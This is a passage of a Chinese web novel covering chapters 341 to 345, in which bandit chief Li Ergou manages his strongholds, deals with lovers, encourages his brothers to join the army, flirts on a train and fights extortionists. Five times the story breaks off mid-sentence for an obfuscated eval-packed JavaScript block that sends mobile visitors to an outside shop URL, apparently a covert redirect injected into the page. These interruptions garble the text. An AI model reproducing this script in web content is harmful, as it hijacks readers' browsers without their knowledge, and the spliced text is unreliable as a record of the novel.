李二狗笑道:“大哥不要着急,这次从熊顶天那里得到两万块大洋,我买了二百条枪,明天就能运到。” 孙竹刚感动的无以复加,他握住李二狗的手,声音都有些颤抖。 “二狗兄弟,你对大哥的这份情谊,大哥都不知道该如何报答,今晚跟我回家,我让你嫂子给你包海鲜馅的饺子吃。” 李二狗这次去省城,酒井空和静雯根本没让他有丝毫的喘息之机,听到吃海鲜馅的饺子,他的大腿忍不住有些发颤。 “大哥,咱们是兄弟,你说这些太见外了,我好久没回胡家大院了,我得赶紧回去,改日再去吃嫂子包的饺子吧。” “ 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“玲玉,我正准备抽空去看你。” “呵,如果我没记错,你应该回来两天了吧?还没抽出空吗?” 这两年,经过李二狗的教育和感化之后,张玲玉变得哪里都好,就是嘴上不饶人,说话特别噎人。 李二狗早已有了拿捏张玲玉的方法,他没有回答,直接扭头就走。 张玲玉赶忙追了上去,拽住李二狗的胳膊,撒娇道:“人家就是和你开个玩笑嘛,怎么还当真了?真小气!” “玲玉,我这一回来,有一堆事等着我处理,你怎么一点都不理解我,我对你很失望,亏我还在省城给你带了礼物。” 张玲玉几乎用哀求的声音说道:“我就知道你心里一直有我,今晚来我院里吧,我有好东西给你吃。” 李二狗故意问道:“好东西?什么好东西?” 张玲玉故作娇羞地打了他一下。 “讨厌!晚上来了你就知道了,我等你。” 第341章 望冬加入寨务会 清风寨。 **正在房间里念经。 “素文姐。” 望冬在外边敲了敲门,然后直接推门走了进去。 **闭着眼,没有停下来,手里继续盘着念珠,嘴里“唵嘛呢叭咪吽”地念叨着。 仿佛只有这样念着,她心里的负罪感才会减轻一样。 “素文姐,二狗哥来了。” 念经声戛然而止,片刻之后又重新响了起来。 “他正在议事厅开会,你快准备准备吧,待会儿他就过来了。” **嘴里依然“唵嘛呢叭咪吽”地念叨着,仿佛望冬在述说一件和自己无关的事情。 望冬轻轻地叹息一声,转身走了出去。 听到关门声,**才缓缓睁开眼睛。 此时的她心乱如麻,再也没有了念经的兴致。 为何一听到李二狗的名字,她的心就跳动得这么厉害。 天天盼着他来,又害怕他来,他来或者不来,都时刻影响着自己的心情。 她放下串珠,起身走到镜子前,镜中的女人虽然未施粉黛,但满是胶原蛋白的脸庞依然显得青春逼人。 她是如此年轻,她心里怎么可能放得下李二狗,那个一直令她神魂颠倒的男人。 想到这,她竟拿起桌上的一把牛角梳精心地梳了梳额前的那一绺刘海,嘴角不自觉露出了一丝笑容。 李二狗无数次在床上说过,最喜欢她额前的刘海。 议事厅内,李二狗坐在正中,陈老三、陈嘎子、张石头、秀才分列左右两侧。 大家对李二狗重新坐在他应该坐的位子上而感到高兴。 “老三,你说说清风寨的情况。” 由于秀才还没有去霸虎寨,清风寨的日常事务还是由秀才打理,陈老三也乐得清闲。 “狗哥,还是让秀才说吧,他更了解情况。” 李二狗皱了皱眉头,清风寨作为大本营,把它交给陈老三管理,真是令人不放心。 “秀才,那你说说吧。” “狗哥,按照你的吩咐,我们把霸虎寨的兄弟分到了清风寨和青山寨,目前霸虎寨只留下六个兄弟看守,由于上次清风寨人员损失较大,所以在分配的时候,我们把大部分兄弟都分到了清风寨,青山寨那边只分去了十个兄弟。” 李二狗点了点头,对秀才的安排非常满意。 “秀才,霸虎寨的兄弟不懂咱们的山寨的规矩,一定要做好对他们的培训。” “这个狗哥可以放心,在把他们分下去之前,我特意抽出三天时间对他们进行了集中培训,培训合格之后才分了下去。” “嗯,你做得很好,事先一定要和兄弟们讲明,如果觉得自己不能遵守山寨的规定,可以选择下山,但如果选择留下来,就一定要遵守山寨的规定,如若违反,一律按寨规处置,任何人都不例外。” “我都和他们讲好了,大家都很认可咱们山寨的规定。” “嘎子、石头,你们谁来说说青山寨的情况?” 陈嘎子和张石头对视一眼,说道:“我说说吧,青山寨上次受到的损失并不大,加上这次分配过来的十个兄弟,目前山寨一共有六十八人,我和石头每人带一队,天天在搞训练。” 李二狗点了点头,陈嘎子的做法符合自己对青山寨的定位。 “嘎子,你和石头一定要抓好日常训练,务必打造出一支精兵队伍。” “放心吧,狗哥。” 李二狗看向秀才,说道:“秀才,熊顶天已经**,你现在可以着手重建霸虎寨了。” “**?怎么这么快?” 秀才惊讶的同时内心已经心潮澎湃,他终于可以独自管理一个山寨,而且还是最大的山寨。 “已经**,霸虎寨在三个月之内一定要建起来,建成之后,再重新分配人员。” “放心吧,狗哥,三个月之内,我一定把霸虎寨建起来。” 李二狗看向陈老三,他现在最放心不下的就是陈老三。 “我有一个建议,提出来大家讨论讨论,”李二狗环视众人,“我建议把望冬吸纳进寨务会。” 众人听后惊诧不已,尤其是陈老三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161839|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 “狗哥,望冬一介女流之辈,让她进寨务会恐怕不合适吧?别让大家起了误会。” 其实陈老三并不是担心引起其他人的非议,他是担心望冬一旦加入寨务会,在山寨的地位就和自己平起平坐,以后更不把他放在眼里。 李二狗没有搭理陈老三,而是看向其他人。 “老三不同意,你们几个是什么意见?” 李二狗亲自提议让望冬加入寨务会,谁敢反对? 更何况望冬是陈老三的媳妇,如果要是反对她加入,很可能会得罪陈老三,因为他们并不知道陈老三内心的真实想法,还以为他只是在客套。 “我同意。” “我同意。” “我也同意。” 除了陈老三,大家一致表示同意。 陈老三急了,说道:“大家不要误会,我不要为了避嫌才那样说的,我是真觉得望冬加入寨务会不合适。” “四比一,通过。秀才,会后你去通知望冬。” “好的,狗哥。” “大家还有什么事情要汇报吗?” 秀才本来不想提出来,想了想,还是说道:“狗哥,咱们几个山寨目前一直入不敷出,虽然最近从霸虎寨得到了一些财物,但这样下去终归不是办法,这么多张嘴要吃饭,一定要有创收的路子才行。” 李二狗已经决定要带领山寨走出一条自力更生的路子,所以他对此早有对策,只是还没来得及安排下去。 “我这次去省城,和吴氏药材公司已经谈好,咱们种参,他们之后会派专人来指导,你们回去之后,抓紧安排兄弟们在后山开荒,咱们这里的土质非常适合种人参。” 陈老三傻不愣登地问道:“狗哥,种出来的人参能值钱吗?” “种出的人参确实太值钱,但咱们这里种的人参进了省城就是山里长出来的野山参,价比黄金。” “狗哥,你这不是忽悠人吗?” “傻雏!有钱人的世界你根本理解不了,一个月之内,你必须在后山开垦出三十亩荒地来。” 第342章 一箭四雕 当望冬得知李二狗提议让自己进入清风寨寨务会时,激动的泪流满面。 寨务会作为清风寨最高决策机构,进入寨务会意味着什么,她心知肚明。 **尚未进入寨务会,李二狗却把自己吸纳进寨务会,望冬真心地感谢他八辈祖宗。 不过当她得知陈老三反对自己进入寨务会时,立刻罚他跪了一天一夜的搓衣板。 男人就是这样,三天不打就会上房揭瓦。 陈老三一个七尺高的汉子,已经被望冬完全拿捏,曾经引以为傲的寨务会成员身份在望冬面前也没有了高人一等的气势。 其实这正是李二狗的高明之处。 陈老三作为最忠诚他的兄弟,这样的人不可不用,因为你得让别人看到对你忠心带来的好处。 但陈老三能力有限,如果重用他肯定会带来极大的风险。 这时候把望冬提拔起来,让夫妻俩齐心协力为山寨效力,既重用了陈老三,又减少了风险,同时还能让望冬监督陈老三的同时对自己感恩戴德。 这是一箭四雕!李二狗不愧是**权术的高手! 李二狗心情忐忑地回到家中,他想见**却又害怕见到**。 手抬起又放下,放下又抬起,最终还是抬手敲响了房门。 “素文,是我。” 屋内传来一阵窸窣声,继而有一个轻柔且熟悉的声音从里面传出。 “门没锁。” 李二狗推门而入,**刚好站起身,此时她已换上一件天蓝色绸缎紧身旗袍,那是李二狗最喜欢的款式和颜色。 两人四目相对,一切言语都化作两行相思泪。 “素文。” “二狗。” 两人紧紧地相拥在一起。 “我以为你再也不会理我了。” “傻瓜,我怎么会不理你呢?今生今世我们是分不开了。” 两人就像一对久别重逢的恋人,免不了又是一番深入浅出的交流。 安排好江东的一切之后,李二狗开车带着孙小雨去了省城。 “狗哥,我还是想留在江东照顾你。” 对于孙小雨来说,留在李二狗身边一直是她努力的目标,为此她极尽勾引之能事,可不知道为什么,李二狗总是对她若即若离。 孙小雨认为,对于一个正常男人来说,没人能抵御她的美色。 也许是因为他心中忘不了慕容雪,又或许是因为朱老四曾经玷污过自己。 想到这,孙小雨内心便有一种深深地挫败感。 对于男人来说,他们实在是难以接受自己的女人被别的男人侮辱。 “小雨,等你到了省城,你定会发现一个不一样的世界,你留在江东没有什么意义。” 孙小雨曾经见识过大城市的繁华,但大城市虽好,可她一个弱女子,那里怎么会有她的容身之地呢? 孙小雨以为李二狗只是想甩掉自己这个包袱,一切不过是他的借口罢了。 不过她心里也明白,李二狗帮自己的人情,不帮是本分,她没有理由埋怨他。 到达省城之后,李二狗带着孙小雨来到吴公馆。 自认为见多识广的孙小雨还是被吴公馆的豪华所震撼。 “狗哥,这是什么地方?” “这是吴公馆,吴有德是**爹,你就当这里是自己的家一样。” 吴有德这个名字对孙小雨来说比较陌生,但能住在如此豪华的一栋洋楼里,想来也是一位有头有脸的大人物。 孙小雨突然看见一位风情万种的女人从楼里向着他们款款走来。 优雅的气质、迷人的风度,还有那媚到骨子里的性感让孙小雨相形见绌。 静雯看到李二狗身边的孙小雨微微一怔,随即露出迷人的笑容,立即给了李二狗一个热烈的拥抱。 孙小雨终于明白李二狗为何对自己无动于衷。 骑惯了膘肥**靓的大洋马,谁还愿意骑躯小貌劣的小毛驴? “这位妹妹是?” 静雯给了李二狗一个意味深长地眼神。 她心里知道,李二狗如果和她有特殊关系,是不可能把她带到吴公馆来的。 “她叫孙小雨,是我妹子。” 静雯笑道:“二狗,你究竟有几个好妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170609|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 妹?嘻嘻。” 不等李二狗回过味来,静雯主动伸出手,自我介绍道:“你好,小雨妹妹,我叫静雯,很高兴认识你。” 孙小雨毕竟是大户人家丫鬟出身,并没有被静雯强大的气场吓懵。 “静雯姐,你好,我也很荣幸认识你,你真漂亮,就像电影海报上的明星似的。” 孙小雨一句话夸得静雯花枝乱颤。 男人夸女人,可能有虚情假意的成分,但女人夸女人,往往是发自肺腑的。 “二狗,小雨妹妹不错啊,我喜欢。” 李二狗对静雯表现出来的态度感到些点意外,不知道她为何对孙小雨如此热情。 他笑了笑,问道:“干爹去哪了?” “早上就出去了,到现在还没回来,不知道干什么去了。” 李二狗便叫来一个佣人,吩咐她给孙小雨安排一个房间,然后便和静雯上了楼。 “二狗,她到底是你什么妹妹?你和我说实话,不许隐瞒!” 刚进屋,静雯便用一副威胁的语气质问李二狗。 李二狗并不打算隐瞒孙小雨的身份,因为他和她之间的关系确实也没有什么不能示人的地方。 更何况,以后孙小雨跟着静雯,很多事情根本瞒不住。 李二狗便把事情的前因后果告诉了静雯,当然他故意隐去了自己和慕容雪之间的情感。 “当初我只是见义勇为,没想到慕容雪却为了救我而死,她临终前托付我照顾孙小雨,我实在没有理由拒绝。” 静雯被感动了。 “那就让她跟着我吧,我来带她。” 静雯答应收留孙小雨,除了被感动之外,还在于她认为孙小雨不会对自己构成威胁。 如果李二狗真对孙小雨有非分之想,他大可以把她藏在江东,实在没必要带到省城。 “静雯,你真好,我得好好谢谢你。” “真想谢我?” “当然,我什么时候骗过你?” “那你这次就在省城多住些日子吧。” 两人抱在一起,滚在床上,很快就响起琴瑟和鸣之声。 第343章 好男儿当以建功立业、报效国家为己任 李二狗在省城住了一些时日,哄得静雯日日欢歌笑语。 他决定第二天动身前往南方,去之前,他专门来到军校,准备见一见宋孬蛋和张清明。 算日子,很快就到他们毕业的时间,有些事情必须提前安排妥当,以免伤了兄弟感情。 “站住!你找谁?” 军校门前站着两个**的士兵,他们表情严肃,不怒自威。 李二狗客气地说道:“长官,你好,我找宋孬蛋。” “宋孬蛋?他是哪一级哪一科的?” 士兵的话把李二狗问懵了,什么级什么科,他哪里懂得这些。 “长官,我只知道他叫宋孬蛋,哪一级哪一科是什么意思?我不知道啊。” 士兵不愿意和他多费口舌,说道:“你不知道就没法找,还是等你知道了再来吧,这里是军校重地,闲杂人等不能停留,你赶紧离开这里。” 李二狗还想再问,士兵根本不听,端着枪把李二狗赶走了。 这点小事,李二狗实在不好意思去麻烦吴有德,便站在军校院门口一侧等待。 “一二一,一二一……” 一群士兵喊着口号从不远处拉练归来。 “孬蛋,快看,门口那个人是不是狗哥?”张清明兴奋地指向李二狗。 宋孬蛋看向门口,那里站着一个人,那伟岸的身影正是李二狗。 他兴奋的同时眼里闪过一丝惶恐,李二狗这时候到来,肯定不只是为了看他们这么简单。 “狗哥!” “狗哥!” 两人同时向李二狗挥手。 “宋孬蛋、张清明,你们喊什么?注意保持队形!”带队的军官呵斥道。 李二狗听到喊声,转头看见正向他招手的宋孬蛋和张清明。 几个月不见,两人都清瘦了许多,但精神矍铄、斗志昂扬,再也没有了以前土匪的样子。 “孬蛋、清明。”李二狗激动地向他们挥手。 队伍经过李二狗的时候,宋孬蛋说道:“狗哥,我们正在训练,你在这里等着我们,我们待会请假出来找你。” 李二狗这一刻才意识到,也许以后宋孬蛋、张清明再也回不到清风寨了。 这样也好,上山当土匪本来只是权宜之计,根本没有未来,参军报国、建功立业才是正途。 半个小时后,宋孬蛋、张清明从军校里跑了出来。 三人见面,激动地抱在一起,又喊又叫,引得路人纷纷侧目。 宋孬蛋首先从兴奋中冷静下来,说道:“狗哥,这里不方便,我们找个地方好好聊一聊。” “好,那咱们去百乐门大舞厅。” 宋孬蛋说道:“狗哥,我和清明只请了两个小时的假,去百乐门大舞厅恐怕来不及,咱们还是去附近的一个小酒馆吧。” 三人来到小酒馆,依然处在兴奋之中。 “孬蛋、清明,你们在军校过得怎么样?兄弟们都很想你们。” 宋孬蛋兴奋地搓了搓手,说道:“狗哥,我们也很想大家。不得不说,在军校的这段日子真是令我们大开眼界,原来除了吃喝玩乐之外,人生还有那么多有意义的事情等着我们去做。” 张清明附和道:“是啊,现在回过头来看看咱们以前过得日子,真是浑浑噩噩,简直是在浪费生命。” 生命的意义一直是李二狗最近在深入思考的问题,没想到他们两个已经率先领悟了自己生命的意义。 “看到你们过得这么充实我就放心了,你们什么时候毕业?” “下个月就要把我们这批学员分配到部队了。” 张清明刚说完,宋孬蛋便瞪了他一眼。 张清明意识到自己有些失态,不应该在李二狗面前表现的如此兴奋,便改口道:“狗哥,毕业后我们怎么办?我和孬蛋还是想回咱们山寨。” “是啊,我们还是想和兄弟们在一起。” 李二狗笑道:“你们还想回去继续当土匪吗?那你们学得这一身本领如何施展?” 宋孬蛋和张清明这段日子以来,内心也是十分矛盾。 他们迫切想去部队建功立业,可李二狗亲自把他们送到军校深造,自己学成之后却选择远走高飞,这实在有些不近人情。 “狗哥,我们……” 李二狗了解宋孬蛋和张清明内心的矛盾和挣扎,他们想去部队施展抱负,但心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170610|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 里又记挂着山寨的兄弟们,更害怕被人背后说他们忘恩负义。 但李二狗知道,他们肯定更倾向于去部队带兵打仗。 当年落草为寇是迫不得已,现在有了更好的机会,他们肯定不愿意再回山寨当土匪。 没有人愿意当一辈子土匪! 既然他们为难,那李二狗就替他们做出决定。 “孬蛋、清明,好男儿当以建功立业、报效国家为己任,日本人霸占咱们台湾,侵占东三省,现在又在谋划华北自治,将来肯定还要全面侵华,他们这是要灭亡咱们中国啊,这正好给你们提供了施展自己才华的机会。保家卫国打鬼子可比在山上当土匪有意义的多了!” “狗哥,我们……” “先听我把话说完,”李二狗抬手打断宋孬蛋,“你们不要有什么心理负担,不管你们回不回山寨,以后咱们依然是好兄弟,我希望你们好。” 宋孬蛋、张清明听后感动不已,他们还担心李二狗会怨恨他们,没想到他竟鼓励他们去部队。 两人同时站起来,对着李二狗纳头便拜。 “狗哥,你对我们的大恩大德,我们无以为报,以后只要有用得着我们的地方,哪怕我们在天涯海角也会立刻赶回来。” 李二狗上前拉起他们,说道:“二位兄弟快请起,有你们这句话我就知足了。” “狗哥,军校有纪律,我们不能饮酒,今天我们就以茶代酒敬你一杯,以后我们不能在你跟前鞍前马后,请你一定要照顾好自己。” 李二狗动了真情,他看到两人有了前程,真心替他们感到高兴。 “两位兄弟,我等着你们立功的好消息,到时候咱们再把酒言欢。” “狗哥,我们敬你。” 话一旦说开,三人心里都没有了芥蒂,氛围也欢快了很多。 “到了部队上,有需要我的地方就派人捎个信回来,有空的时候多回来看看兄弟们。” “一定,狗哥。” 时间过得很快,转眼间两个小时就过去了。 “狗哥,我们得回去了。” 李二狗和他们分别拥抱。 “好好干,哥看好你们。” 第344章 火车艳遇 李二狗把一切安排妥当之后,告别了吴有德和静雯,乘火车一路南下,准备去找寻人生的意义。 由于是第一次乘坐火车,李二狗内心显得异常激动,尤其是听到火车车轮与钢轨连接处碰撞发出的“哐当、哐当”声响时,他的心竟“扑通、扑通”地随着火车的节拍跳动起来。 一切都是新奇的样子。 他把终点站选在了湖北武汉,作为九省通衢之地,从那里进入鄂豫皖根据地非常方便。 “先生,可以帮忙把这个提箱放到架子上面吗?” 李二狗正看着窗外,听到声转过头来,看见一个身着一袭精致旗袍的年轻女子,旗袍的颜色恰到好处地衬托出她白皙的肌肤。 女子二十岁上下,身材婀娜,曲线玲珑,既有着少女的娇媚,又散发着成**性的韵味。 李二狗一时看得入神。 “先生,可以帮忙把这个提包放在架子上面吗?谢谢。” 李二狗这才回过神来,不得不说,这个女人的声音无形中仿佛带着钩子,瞬间把李二狗的魂儿勾住了。 “当然可以。” 李二狗起身把一个小皮箱轻而易举地放到头顶处的置物架上。 “谢谢。” 女人给了李二狗一个明媚的笑容,仿佛整个车厢都瞬间变得明亮起来。 她在李二狗对面的一个座位上坐下,再次给了李二狗一个阳光明媚的笑容。 “谢谢先生的帮助,这个送给你。” 女人从兜里掏出两个鸡蛋,放到李二狗面前的小桌板上。 “这怎么好意思?我只是举手之劳罢了。” 女人抿着嘴笑。 “对你来说是举手之劳,可对我来说是帮我解决了一个大问题,这么重的提箱我自己可是举不动的。” 李二狗心想,对于你这样一个大美女来说,哪怕你没张嘴,已经有整个车厢的老爷们随时准备为你前赴后继了。 “那我就不客气了。” 李二狗并不是想吃这个感谢的鸡蛋,只是认为吃了她送的鸡蛋,会拉近两人之间的距离,后续也会有更多的话题。 漫漫旅途之中,如果有一个性感可爱的女人作陪,实乃人生之一乐事。 李二狗瞥了一眼女人刚刚从手包里掏出来的一个小水杯,顿时计上心来。 “咳咳咳……” 李二狗刚把鸡蛋咽下去,便剧烈地咳嗽起来。 女人见状,急忙把自己的水杯拧开,递到李二狗眼前。 “噎着了?快喝点水透一透。” 李二狗面露难色,显然不太好意思。 “看你脸都噎红了,快喝吧。”女人看李二狗咳的脸色微红,赶紧催促道。 李二狗便拿起水杯,“咕咚咕咚”地喝了两口。 “真是不好意思,用了你的水杯,鸡蛋太好吃了,一时没忍住……” 女人却丝毫不以为意,她接过水杯,拧上盖子,优雅地放在自己面前。 “没关系的,你没事就好。” “我去给你重新接杯热水吧。” 李二狗伸手去拿杯子,女子的手也同时伸了过去。 “没事的,待会我自己去接就好。” 两人的手不经意间触碰到一起,又同时触电般缩回。 女人的脸红了,性感中显露出来的那一抹小小的娇羞,让她显得更加可爱。 “我叫李二狗,请问小姐怎么称呼?” “我叫徐青霞。” “徐小姐你好,你这是要去哪里?” “我去武汉工作,李先生呢?” “我也去武汉。” “也是工作?” “我去看看黄鹤楼。” “黄鹤楼?嘻嘻,先生可真是一个有趣的人。” “是吗?别人都说我木讷,你是第一个说我有趣的人。” 男人的嘴,骗人的鬼,徐青霞当然不会相信李二狗的鬼话。 从他的言谈举止到行为方式,很明显他是一个有着丰富人生阅历的男人。 但李二狗仪表堂堂,身材伟岸,尤其是那双炯炯有神的大眼睛,全部长在徐青霞的审美上。 至少到目前为止,她并不讨厌他。,甚至还有一点点好感。 “看来李先生对木讷的理解和我不一样,嘻嘻。” 一来二去,两人便熟稔起来。 “徐小姐是湖北人吗?” “不是,我是北平人。” “北平人?那怎么大老远跑到武汉工作?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175707|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' br>徐青霞犹豫了片刻,随即说道:“我刚大学毕业,被分配到武汉工作。” “分配?”李二狗人生第一次听到分配这个词,他以前只听过发配、交配,“分配是什么意思?” 徐青霞抿嘴一笑,说道:“先生你可真逗,大学毕业之后,政府是给毕业生分配工作的,你难道不知道吗?” 李二狗尴尬地一笑,说道:“我这辈子最大的遗憾就是没有去大学读书,实在是汗颜呐。” “听先生的谈吐,一定是读过书的人,其实上不上大学都不耽误读书的。” 这当然是徐青霞的客套之言,但李二狗听后却觉得如沐春风一般。 读过大学的女人谈吐确实不一般。 “上不上大学区别还是很明显的,”李二狗感叹道,“如果有机会我还真想去上大学。” 徐青霞抿着嘴笑,大学得考,岂是想上就上的,但这话她不能直接和李二狗说,想来也只是他的一句感叹罢了。 “先生是做什么的?怎么如此有空,专程坐火车到武汉看黄鹤楼?” 李二狗有多重身份,但每一个身份好像都上不了台面。 无论是地主大院的管家,还是土匪山寨的头子,都不可能有如此的闲情逸致。 “我自己做一点小生意,这次到武汉主要是看看有没有好机会。” 徐青霞莞尔一笑,笑容里有一股阳光的味道。 “原来如此,我还以为先生真是专程来武汉看黄鹤楼的,嘻嘻,我可真傻,竟然相信你。” 李二狗赶忙解释道:“我早就想来黄鹤楼看看,那句昔人已乘黄鹤去,此地空余黄鹤楼的诗句早已令我神往已久。” 李二狗故意拽了一句诗词,这点小心思早被徐青霞看透。 “黄鹤楼确实不错,我还没看过呢。” “那我们到了武汉可以一起去参观参观。” “好啊,不过我可没有先生那么自由。” “小姐是做什么工作的?” 徐青霞微微一怔,随即说道:“我是做文书工作的。” 徐青霞确实是一名大学生,大学学习的是电讯专业,她真实的身份是军统湖北站电讯科的一名电讯员。 第345章 车站风波 一路欢歌笑语中,时间过得飞快。 “各位旅客,列车即将到达武汉站,请在武汉站下车的旅客准备好自己的行李下车。” 徐青霞是一副恋恋不舍的样子。 “李先生,火车要到站了。” 李二狗也有些意犹未尽。 “这么快就到站了,徐小姐,以后我们还能见面吗?” 徐青霞作为力行社湖北站的工作人员,是不能随便向陌生人透露自己的住址。 但面对风度翩翩的李二狗,她犹豫了片刻,最后还是选择遵守纪律。 “如果有缘,我们一定还会见面的。” 茫茫人海,如果靠缘分才能相见,骗三岁小孩还差不多。 “徐小姐,可以告诉我你的住址吗?” 徐青霞微微有些吃惊,她没想到李二狗竟如此直接。 李二狗发现了徐青霞的神情,急忙解释道:“徐小姐不要误会,我没有别的意思,只是想约你一起去爬黄鹤楼。” 作为大学校花,徐青霞见惯了各种男人的各式伎俩。 但面对李二狗,她却选择了相信。 “对不起,李先生,我刚到武汉,还没有住所,等我安顿下来再告诉你好吗?” “那徐小姐在哪里工作?告诉我你的单位地址也是可以的。” 徐青霞大学毕业之后,被力行社特招入伍,然后又在北平特训班接受了为期三个月的特训。 力行社湖北站的地址她怎敢轻易泄露! 正在这时,火车到站停了下来。 徐青霞随即站起身,说道:“李先生,还得麻烦你帮我把上面的提箱取下来。” 李二狗微微有些失望,很明显,徐青霞不愿意告诉自己。 取下提箱之后,徐青霞主动伸出手,说道:“李先生,谢谢你,这是一段愉快的旅程。” 李二狗握着徐青霞白皙滑嫩的玉手,不知道为什么,他竟微微加了些力度。 “李先生,你都握痛人家了。”徐青霞娇声道。 李二狗急忙松开手,掩饰道:“对不起,徐小姐,我从未见过像羊脂玉一般的手指。” 徐青霞笑靥如花:“谢谢,后会有期。” 在她转身的瞬间,李二狗说道:“明天上午我会去登黄鹤楼。” 徐青霞没有停下脚步,只是轻轻地说了一声:“再见!” 李二狗赶紧跟了上去。 出了火车站,李二狗看到徐青霞上了一辆黑色轿车,一直到汽车消失在街道的尽头,李二狗还站在原地发呆。 “先生,住店吗?” 一个中年妇女看李二狗衣冠楚楚的样子,认定他是一个有钱人。 李二狗随口问道:“多少钱一晚?” “一块大洋。”中年妇女热情地说道。 一块大洋,在省城能住上套间。 李二狗认为她是在宰客,便没有再理她,径直向前走去。 中年妇女岂能放过他,赶紧跟了上去。 “先生是嫌贵吗?价格还可以再商量。” 李二狗很厌烦这种牛皮糖似的女人,没有搭话,继续往前走。 “先生,我们那有新来的苗族的姑娘,保你看一眼就挪不动脚。” 李二狗鄙视地看了她一眼。 “你看老子是哪种人吗?” 中年妇女撇了撇嘴:“是!” 要不是在武汉,人生地不熟,李二狗真想上去撕烂她那张棉裤裆一样的嘴。 “滚开!” 中年妇女见状,不仅不恼,反而不依不饶地拉住李二狗的胳膊。 “先生,你跟我去看一眼,不满意不要钱!” 因为徐青霞的离去,李二狗本来就有一种深深地失落感,看到这个女人如此烦人,便有些恼羞成怒。 他甩开中年妇女的手,骂道:“滚开!别烦老子!” 李二狗只是轻轻一甩,没想到中年妇女却连退几步,摔在地上。 “哎吆!**了!快来人呐,**了!” 从黑暗处突然窜出两个男青年,挡住了李二狗的去路。 “打了人就想走?没那么容易!” 中年妇女在地上撒泼打滚道:“光天化日之下**,还有没有王法啊?” 明明已经天黑,嘴里说得还是白天的台词,李二狗知道这是遇到讹人的流氓无赖了。 “我没有打她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175708|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是她自己摔倒的。” 高个男青年骂道:“当我们眼瞎吗?我们明明看到是你打了她。” 李二狗懒得和他们争辩,便说道:“说吧,你们要多少钱?” 高个男青年和中年妇女对视一眼,才说道:“二十块大洋!” “二十块大洋?你们怎么不去抢?” 李二狗说完就要走,两个男青年怎能放过他。 “站住!不给钱你今天别想站着离开这里!” 说着,左边的高个男个子从腰间掏出一把**,刀刃在昏光下闪着冷光,右边那个矮胖子男青年攥着根锈铁棍,堵**退路。 李二狗向来吃软不吃硬,二十块大洋对于他来说倒无所谓,但他此刻心情很不好,别说二十块大洋,就是一枚铜板都不愿意给他们。 “好狗不挡道!让开!” 两个男青年没想到李二狗还是个硬茬子,但他们常年混迹车站,日常就是靠这些生活,他们没有后退的道理。 更何况,他们作为地头蛇,和当地警察勾结在一起,根本不怕外地人。 “找死!” 高个子急了,**直刺过来,角度又狠又刁。 李二狗早有防备,猛地矮身,左手攥住对方手腕,右手顺着胳膊肘往下压。 “咔嚓”一声脆响,男个子痛呼着蜷起身子,**“当啷”落地。 矮胖子见状,铁棍带着风声砸向李二狗后脑。 李二狗不回头,借着男个子的身子一拧,矮胖子的铁棍正好砸在同伙背上。 趁他愣神的瞬间,李二狗抬脚踹在他膝盖上,矮胖子“噗通”跪倒,还没抬头,就被李二狗锁住脖子往地上按。 “砰”的一声闷响,矮胖子脸撞在水泥地上,鼻血瞬间涌了出来。 李二狗反手夺过铁棍扔远,低头看了眼抱着胳膊哼哼的男个子,抬脚踩住他手背:“再敢动歪心思,下次就不是胳膊脱臼这么简单了。” 